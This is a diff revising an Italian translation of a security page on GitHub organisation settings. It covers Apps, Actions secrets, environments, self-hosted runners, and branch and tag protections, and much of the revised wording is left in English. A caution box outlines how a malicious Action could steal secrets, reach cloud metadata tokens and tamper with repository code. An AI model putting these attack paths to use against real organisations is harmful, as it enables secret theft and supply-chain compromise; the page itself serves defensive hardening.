+- Questi sono i **API Endpoints per le Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). A seconda dei permessi dell'App potrà accedere ad alcuni di essi.
+- Puoi vedere le app installate in un'**organization** in _https://github.com/organizations/\<org_name>/settings/installations_
 
-Alcuni consigli di sicurezza:
+Alcune raccomandazioni di sicurezza:
 
-- Un'App GitHub dovrebbe **eseguire azioni indipendentemente da un utente** (a meno che l'app non stia utilizzando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Per mantenere i token di accesso user-to-server più sicuri, puoi utilizzare token di accesso che scadranno dopo 8 ore e un token di aggiornamento che può essere scambiato per un nuovo token di accesso. Per ulteriori informazioni, vedere "[Aggiornamento dei token di accesso user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
-- Assicurati che l'App GitHub si integri con **repository specifici**.
-- L'App GitHub dovrebbe **collegarsi a un account personale o a un'organizzazione**.
-- Non aspettarti che l'App GitHub conosca e faccia tutto ciò che un utente può fare.
-- **Non utilizzare un'App GitHub se hai solo bisogno di un servizio "Login con GitHub"**. Ma un'App GitHub può utilizzare un [flusso di identificazione utente](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) per accedere gli utenti _e_ fare altre cose.
-- Non costruire un'App GitHub se _vuoi solo_ agire come un utente GitHub e fare tutto ciò che quell'utente può fare.
-- Se stai utilizzando la tua app con GitHub Actions e desideri modificare i file di workflow, devi autenticarti per conto dell'utente con un token OAuth che include lo scope `workflow`. L'utente deve avere permessi di admin o scrittura sul repository che contiene il file di workflow. Per ulteriori informazioni, vedere "[Comprendere gli scope per le app OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
-- **Di più** [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
+- Una GitHub App dovrebbe **eseguire azioni indipendenti da un utente** (a meno che l'app non stia usando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Per mantenere più sicuri i token user-to-server, puoi usare access token che scadono dopo 8 ore e un refresh token che può essere scambiato per un nuovo access token. Per maggiori informazioni, vedi "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
+- Assicurati che la GitHub App si integri con **repository specifici**.
+- La GitHub App dovrebbe **connettersi a un account personale o a un'organizzazione**.
+- Non aspettarti che la GitHub App sappia e faccia tutto ciò che un utente può fare.
+- **Non usare una GitHub App se ti serve solo un servizio "Login with GitHub"**. Ma una GitHub App può usare un [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) per autenticare gli utenti _e_ fare altre cose.
+- Non costruire una GitHub App se vuoi _solo_ agire come un utente GitHub e fare tutto ciò che quell'utente può fare.
+- Se stai usando la tua app con GitHub Actions e vuoi modificare i workflow files, devi autenticarti per conto dell'utente con un OAuth token che includa lo scope `workflow`. L'utente deve avere permessi admin o write sul repository che contiene il file di workflow. Per maggiori informazioni, vedi "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- **Altro** in [qui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
 
 ### Github Actions
 
-Questa **non è un modo per autenticarsi in github**, ma una **malicious** Github Action potrebbe ottenere **accesso non autorizzato a github** e **a seconda** dei **privilegi** concessi all'Action, potrebbero essere eseguiti diversi **attacchi**. Vedi sotto per ulteriori informazioni.
+Questo **non è un modo per autenticarsi in github**, ma una **malicious** Github Action potrebbe ottenere **accesso non autorizzato a github** e **a seconda** dei **privilegi** concessi all'Action si potrebbero compiere **diversi attacchi**. Vedi sotto per maggiori informazioni.
 
-## Azioni Git
+## Git Actions
 
-Le azioni Git consentono di automatizzare l'**esecuzione di codice quando si verifica un evento**. Di solito, il codice eseguito è **in qualche modo correlato al codice del repository** (forse costruire un container docker o controllare che la PR non contenga segreti).
+Git actions permette di automatizzare la **esecuzione di codice quando accade un evento**. Solitamente il codice eseguito è **in qualche modo legato al codice del repository** (per esempio costruire un container docker o verificare che la PR non contenga secrets).
 
-### Configurazione
+### Configuration
 
-In _https://github.com/organizations/\<org_name>/settings/actions_ è possibile controllare la **configurazione delle azioni github** per l'organizzazione.
+In _https://github.com/organizations/\<org_name>/settings/actions_ è possibile controllare la **configurazione delle github actions** per l'organizzazione.
 
-È possibile vietare completamente l'uso delle azioni github, **consentire tutte le azioni github**, o consentire solo alcune azioni.
+È possibile disabilitare completamente l'uso di github actions, **consentire tutte le github actions**, o permettere solo certe actions.
 
-È anche possibile configurare **chi ha bisogno di approvazione per eseguire un'azione Github** e i **permessi del GITHUB_TOKEN** di un'azione Github quando viene eseguita.
+È inoltre possibile configurare **chi necessita approvazione per eseguire una Github Action** e i **permessi del GITHUB_TOKEN** di una Github Action quando viene eseguita.
 
-### Segreti Git
+### Git Secrets
 
-Le azioni Github di solito necessitano di qualche tipo di segreti per interagire con github o applicazioni di terze parti. Per **evitare di metterli in chiaro** nel repository, github consente di inserirli come **Secrets**.
+Le Github Action solitamente necessitano di qualche tipo di secret per interagire con github o applicazioni di terze parti. Per **evitare di metterli in chiaro** nel repo, github permette di salvarli come **Secrets**.
 
-Questi segreti possono essere configurati **per il repository o per tutta l'organizzazione**. Poi, affinché l'**Azione possa accedere al segreto**, devi dichiararlo come:
+Questi secrets possono essere configurati **per il repo o per l'intera organizzazione**. Poi, affinché l'**Action possa accedere al secret** è necessario dichiararlo così:
 ```yaml
 steps:
 - name: Hello world action
@@ -168,82 +168,102 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> I segreti **possono essere accessibili solo dalle Github Actions** che li hanno dichiarati.
+> Secrets **sono accessibili solo dalle Github Actions** che li hanno dichiarati.
+>
+> Una volta configurati nel repo o nell'organizzazione **gli utenti di github non potranno più accedervi**, potranno solamente **modificarli**.
 
-> Una volta configurati nel repo o nelle organizzazioni, **gli utenti di github non potranno più accedervi**, potranno solo **cambiarli**.
+Pertanto, l'**unico modo per rubare i github secrets è riuscire ad accedere alla macchina che sta eseguendo la Github Action** (in quello scenario potrai accedere solo ai secrets dichiarati per l'Action).
 
-Pertanto, **l'unico modo per rubare i segreti di github è avere accesso alla macchina che sta eseguendo la Github Action** (in quel scenario potrai accedere solo ai segreti dichiarati per l'Action).
+### Ambienti Git
 
-### Git Environments
-
-Github consente di creare **ambienti** in cui puoi salvare **segreti**. Poi, puoi dare alla github action accesso ai segreti all'interno dell'ambiente con qualcosa come:
+Github permette di creare **ambienti** dove puoi salvare **secrets**. Poi, puoi permettere al github action di accedere ai secrets all'interno dell'ambiente con qualcosa del tipo:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-Puoi configurare un ambiente per essere **accessibile** da **tutti i rami** (predefinito), **solo rami protetti** o **specificare** quali rami possono accedervi.\
-Può anche impostare un **numero di revisioni richieste** prima di **eseguire** un **azione** utilizzando un **ambiente** o **attendere** un **tempo** prima di consentire il proseguimento delle distribuzioni.
+Puoi configurare un environment in modo che sia **accessed** da **all branches** (default), **only protected** branches o **specify** which branches can access it.\
+Inoltre, le protezioni dell'environment includono:
+- **Required reviewers**: bloccare job che targettano l'environment finché non vengono approvati. Abilita **Prevent self-review** per applicare un corretto principio delle quattro occhi sull'approvazione stessa.
+- **Deployment branches and tags**: restringere quali branch/tag possono deployare nell'environment. Preferisci selezionare branch/tag specifici e assicurati che quei branch siano protetti. Nota: l'opzione "Protected branches only" si applica alle protezioni di branch classiche e potrebbe non comportarsi come previsto se si usano rulesets.
+- **Wait timer**: ritardare i deployment per un periodo configurabile.
 
+Può anche impostare un **number of required reviews** prima di **executing** un **action** usando un **environment** o **wait** qualche **time** prima di permettere ai deployment di procedere.
 ### Git Action Runner
 
-Un'azione Github può essere **eseguita all'interno dell'ambiente github** o può essere eseguita in un **infrastruttura di terze parti** configurata dall'utente.
+A Github Action può essere **executed inside the github environment** oppure può essere eseguita in una **third party infrastructure** configurata dall'utente.
 
-Diverse organizzazioni consentiranno di eseguire azioni Github in un **infrastruttura di terze parti** poiché tende a essere **più economica**.
+Diverse organizzazioni permettono di eseguire Github Actions in una **third party infrastructure** perché spesso risulta **cheaper**.
 
-Puoi **elencare i runner self-hosted** di un'organizzazione in _https://github.com/organizations/\<org_name>/settings/actions/runners_
+Puoi **list the self-hosted runners** di un'organizzazione in _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-Il modo per scoprire quali **Github Actions vengono eseguite in infrastrutture non github** è cercare `runs-on: self-hosted` nella configurazione yaml dell'azione Github.
+Il modo per trovare quali **Github Actions are being executed in non-github infrastructure** è cercare `runs-on: self-hosted` nella configurazione yaml della Github Action.
 
-**Non è possibile eseguire un'azione Github di un'organizzazione all'interno di una macchina self-hosted** di un'altra organizzazione perché **un token unico viene generato per il Runner** quando viene configurato per sapere a quale runner appartiene.
+Non è **possible to run a Github Action of an organization inside a self hosted box** di un'organizzazione diversa perché **a unique token is generated for the Runner** quando lo si configura per far sapere a quale runner appartiene.
 
-Se il **Github Runner personalizzato è configurato in una macchina all'interno di AWS o GCP**, l'azione **potrebbe avere accesso all'endpoint dei metadati** e **rubare il token dell'account di servizio** con cui la macchina sta funzionando.
+Se il custom **Github Runner is configured in a machine inside AWS or GCP** per esempio, l'Action **could have access to the metadata endpoint** e **steal the token of the service account** con cui la macchina è eseguita.
 
-### Compromissione dell'azione Git
+### Git Action Compromise
 
-Se tutte le azioni (o un'azione malevola) sono consentite, un utente potrebbe utilizzare un'**azione Github** che è **malevola** e **comprometterà** il **container** in cui viene eseguita.
+Se tutte le action (o una action malevola) sono consentite, un utente potrebbe usare una **Github action** che è **malicious** e che **compromette** il **container** dove viene eseguita.
 
 > [!CAUTION]
-> Un'**azione Github malevola** eseguita potrebbe essere **abusata** dall'attaccante per:
+> Una **malicious Github Action** run potrebbe essere **abused** dall'attaccante per:
 >
-> - **Rubare tutti i segreti** a cui l'azione ha accesso
-> - **Muoversi lateralmente** se l'azione viene eseguita all'interno di un'**infrastruttura di terze parti** dove il token SA utilizzato per eseguire la macchina può essere accessibile (probabilmente tramite il servizio di metadati)
-> - **Abusare del token** utilizzato dal **workflow** per **rubare il codice del repo** dove l'azione è eseguita o **anche modificarlo**.
+> - **Steal all the secrets** a cui l'Action ha accesso
+> - **Move laterally** se l'Action viene eseguita dentro una **third party infrastructure** dove il SA token usato per eseguire la macchina può essere accessibile (probabilmente via il metadata service)
+> - **Abuse the token** usato dal **workflow** per **steal the code of the repo** dove l'Action è eseguita o **even modify it**.
 
-## Protezioni dei rami
+## Branch Protections
 
-Le protezioni dei rami sono progettate per **non dare il controllo completo di un repository** agli utenti. L'obiettivo è **mettere in atto diversi metodi di protezione prima di poter scrivere codice all'interno di un ramo**.
+Le branch protections sono progettate per **not give complete control of a repository** agli utenti. L'obiettivo è **put several protection methods before being able to write code inside some branch**.
 
-Le **protezioni dei rami di un repository** possono essere trovate in _https://github.com/\<orgname>/\<reponame>/settings/branches_
+Le **branch protections of a repository** possono essere trovate in _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> **Non è possibile impostare una protezione del ramo a livello di organizzazione**. Quindi tutte devono essere dichiarate su ciascun repo.
+> Non è **possible to set a branch protection at organization level**. Quindi tutte devono essere dichiarate su ogni repo.
 
-Diverse protezioni possono essere applicate a un ramo (come a master):
+Differenti protezioni possono essere applicate a un branch (ad esempio master):
 
-- Puoi **richiedere una PR prima di unire** (quindi non puoi unire direttamente il codice sul ramo). Se questo è selezionato, possono essere in atto diverse altre protezioni:
-- **Richiedere un numero di approvazioni**. È molto comune richiedere che 1 o 2 persone in più approvino la tua PR in modo che un singolo utente non possa unire direttamente il codice.
-- **Annullare le approvazioni quando vengono inviati nuovi commit**. Altrimenti, un utente potrebbe approvare codice legittimo e poi l'utente potrebbe aggiungere codice malevolo e unirlo.
-- **Richiedere revisioni dai proprietari del codice**. Almeno 1 proprietario del codice del repo deve approvare la PR (quindi gli utenti "casuali" non possono approvarla)
-- **Limitare chi può annullare le revisioni delle richieste di pull.** Puoi specificare persone o team autorizzati ad annullare le revisioni delle richieste di pull.
-- **Consentire a attori specificati di bypassare i requisiti delle richieste di pull**. Questi utenti saranno in grado di bypassare le restrizioni precedenti.
-- **Richiedere che i controlli di stato passino prima di unire.** Alcuni controlli devono passare prima di poter unire il commit (come un'azione github che verifica che non ci siano segreti in chiaro).
-- **Richiedere la risoluzione delle conversazioni prima di unire**. Tutti i commenti sul codice devono essere risolti prima che la PR possa essere unita.
-- **Richiedere commit firmati**. I commit devono essere firmati.
-- **Richiedere una storia lineare.** Impedire che i commit di unione vengano inviati a rami corrispondenti.
-- **Includere gli amministratori**. Se questo non è impostato, gli amministratori possono bypassare le restrizioni.
-- **Limitare chi può inviare a rami corrispondenti**. Limitare chi può inviare una PR.
+- Puoi **require a PR before merging** (quindi non puoi direttamente mergiare codice sul branch). Se questo è selezionato possono essere in vigore altre protezioni:
+- **Require a number of approvals**. È molto comune richiedere 1 o 2 persone in più per approvare la tua PR così un singolo utente non può mergiare codice direttamente.
+- **Dismiss approvals when new commits are pushed**. Se non abilitato, un utente potrebbe approvare codice legittimo e poi aggiungere codice malevolo e mergiarlo.
+- **Require approval of the most recent reviewable push**. Garantisce che qualsiasi nuovo commit dopo un'approvazione (inclusi push da altri collaboratori) riattivi la review in modo che un attaccante non possa pushare cambiamenti post-approvazione e mergiarli.
+- **Require reviews from Code Owners**. Almeno 1 code owner del repo deve approvare la PR (così utenti "random" non possono approvarla)
+- **Restrict who can dismiss pull request reviews.** Puoi specificare persone o team autorizzati a dismissare le review delle pull request.
+- **Allow specified actors to bypass pull request requirements**. Questi utenti saranno in grado di bypassare le restrizioni precedenti.
+- **Require status checks to pass before merging.** Alcuni check devono passare prima di poter mergiare il commit (come un GitHub App che riporta risultati SAST). Suggerimento: vincola i check richiesti a una specifica GitHub App; altrimenti qualsiasi app potrebbe spoofare il check via le Checks API, e molti bot accettano direttive di skip (es., "@bot-name skip").
+- **Require conversation resolution before merging**. Tutti i commenti sul codice devono essere risolti prima che la PR possa essere mergiata.
+- **Require signed commits**. I commit devono essere firmati.
+- **Require linear history.** Impedisce che merge commits vengano pushati ai branch che corrispondono alla regola.
+- **Include administrators**. Se non impostato, gli admin possono bypassare le restrizioni.
+- **Restrict who can push to matching branches**. Restringe chi può inviare una PR.
 
 > [!NOTE]
-> Come puoi vedere, anche se sei riuscito a ottenere alcune credenziali di un utente, **i repo potrebbero essere protetti impedendoti di inviare codice a master** per esempio per compromettere il pipeline CI/CD.
+> Come puoi vedere, anche se sei riuscito a ottenere alcune credenziali di un utente, **repos might be protected avoiding you to pushing code to master** per esempio per compromettere la CI/CD pipeline.
 
-## Riferimenti
+## Tag Protections
+
+I tag (come latest, stable) sono mutabili di default. Per imporre un flusso a quattro occhi sugli aggiornamenti dei tag, proteggi i tag e incatena le protezioni attraverso environment e branch:
+
+1) Sulla rule di protezione del tag, abilita **Require deployments to succeed** e richiedi un deployment riuscito a un environment protetto (es., prod).
+2) Nell'environment target, restringi **Deployment branches and tags** al release branch (es., main) e opzionalmente configura **Required reviewers** con **Prevent self-review**.
+3) Sul release branch, configura le branch protections per **Require a pull request**, imposta approvals ≥ 1, e abilita sia **Dismiss approvals when new commits are pushed** sia **Require approval of the most recent reviewable push**.
+
+Questa catena impedisce a un singolo collaboratore di retaggare o force-publishare release modificando il workflow YAML, poiché i gate di deployment vengono applicati al di fuori dei workflow.
+
+## References
 
 - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
 - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)
 - [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github)
 - [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards)
 - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets)
+- [https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [https://securitylab.github.com/resources/github-actions-untrusted-input/](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+- [https://docs.github.com/en/rest/checks/runs](https://docs.github.com/en/rest/checks/runs)
+- [https://docs.github.com/en/apps](https://docs.github.com/en/apps)
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../banners/hacktricks-training.md}}